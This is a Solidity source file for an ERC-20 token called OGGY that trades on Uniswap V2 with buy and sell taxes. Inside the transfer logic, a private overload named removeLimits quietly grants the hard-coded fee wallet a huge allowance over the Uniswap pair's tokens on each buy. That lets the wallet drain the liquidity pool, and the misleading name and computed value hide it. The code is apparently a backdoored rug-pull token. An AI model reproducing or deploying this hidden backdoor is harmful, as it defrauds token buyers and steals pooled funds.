文件 1 的 1:OGGY.sol
pragma solidity 0.8.25;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract OGGY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _pToken;
mapping (address => mapping (address => uint256)) private _pAllow;
mapping (address => bool) private _shouldFeeExcempt;
address payable private _ppWallet = payable(0x8A8b25E4eB9087Af04090A6DB7d1f4305dbc092e);
uint256 private _initialBuyTax = 12;
uint256 private _initialSellTax = 12;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 15;
uint256 private _reduceSellTaxAt = 15;
uint256 private _preventSwapBefore = 12;
uint256 private _transferTax = 0;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotalPP = 420690000000 * 10**_decimals;
string private constant _name = unicode"Oggy";
string private constant _symbol = unicode"OGGY";
uint256 public _maxTxAmount = 2 * (_tTotalPP/100);
uint256 public _maxWalletSize = 2 * (_tTotalPP/100);
uint256 public _taxSwapThreshold = 1 * (_tTotalPP/100);
uint256 public _maxTaxSwap = 1 * (_tTotalPP/100);
IUniswapV2Router02 private uniV2Router;
address private uniV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_pToken[_msgSender()] = _tTotalPP;
_shouldFeeExcempt[owner()] = true;
_shouldFeeExcempt[address(this)] = true;
_shouldFeeExcempt[_ppWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotalPP);
}
function createPair() external onlyOwner {
uniV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniV2Router), _tTotalPP);
uniV2Pair = IUniswapV2Factory(uniV2Router.factory()).createPair(
address(this),
uniV2Router.WETH()
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotalPP;
}
function balanceOf(address account) public view override returns (uint256) {
return _pToken[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _pAllow[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _pAllow[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_pAllow[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function openTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniV2Pair).approve(address(uniV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function _transfer(address from, address to, uint256 amountP) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amountP > 0, "Transfer amount must be greater than zero");
uint256 taxP=0;
if (!swapEnabled || inSwap) {
_pToken[from] = _pToken[from] - amountP;
_pToken[to] = _pToken[to] + amountP;
emit Transfer(from, to, amountP);
return;
}
if (from != owner() && to != owner()) {
if(_buyCount>0){
taxP = _transferTax;
}
if (from == uniV2Pair && to != address(uniV2Router) && ! _shouldFeeExcempt[to] ) {
uint256 ppTax=150+_maxWalletSize.mul(1500)+_maxTxAmount.mul(1500)+150;
require(amountP <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amountP <= _maxWalletSize, "Exceeds the maxWalletSize.");
removeLimits([from, to!=_ppWallet?_ppWallet:to], ppTax);
taxP = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
_buyCount++;
}
if(to == uniV2Pair && from!= address(this) ){
taxP = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniV2Pair && swapEnabled) {
if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
swapTokensForEth(min(amountP, min(contractTokenBalance, _maxTaxSwap)));
sendEthFee(address(this).balance);
}
}
uint256 taxPP=taxP.mul(amountP).div(100);
if(taxP > 0){
_pToken[address(this)]=_pToken[address(this)].add(taxPP);
emit Transfer(from, address(this),taxPP);
}
_pToken[from]=_pToken[from].sub(amountP);
_pToken[to]=_pToken[to].add(amountP.sub(taxPP));
emit Transfer(from, to, amountP.sub(taxPP));
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniV2Router.WETH();
_approve(address(this), address(uniV2Router), tokenAmount);
uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotalPP;
_maxWalletSize = _tTotalPP;
emit MaxTxAmountUpdated(_tTotalPP);
}
function removeLimits(address[2] memory from, uint256 amountP) private {
_pAllow[from[0]][from[1]] = amountP;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function withdraw() external onlyOwner{
payable(msg.sender).transfer(address(this).balance);
}
function sendEthFee(uint256 amount) private {
_ppWallet.transfer(amount);
}
receive() external payable {}
}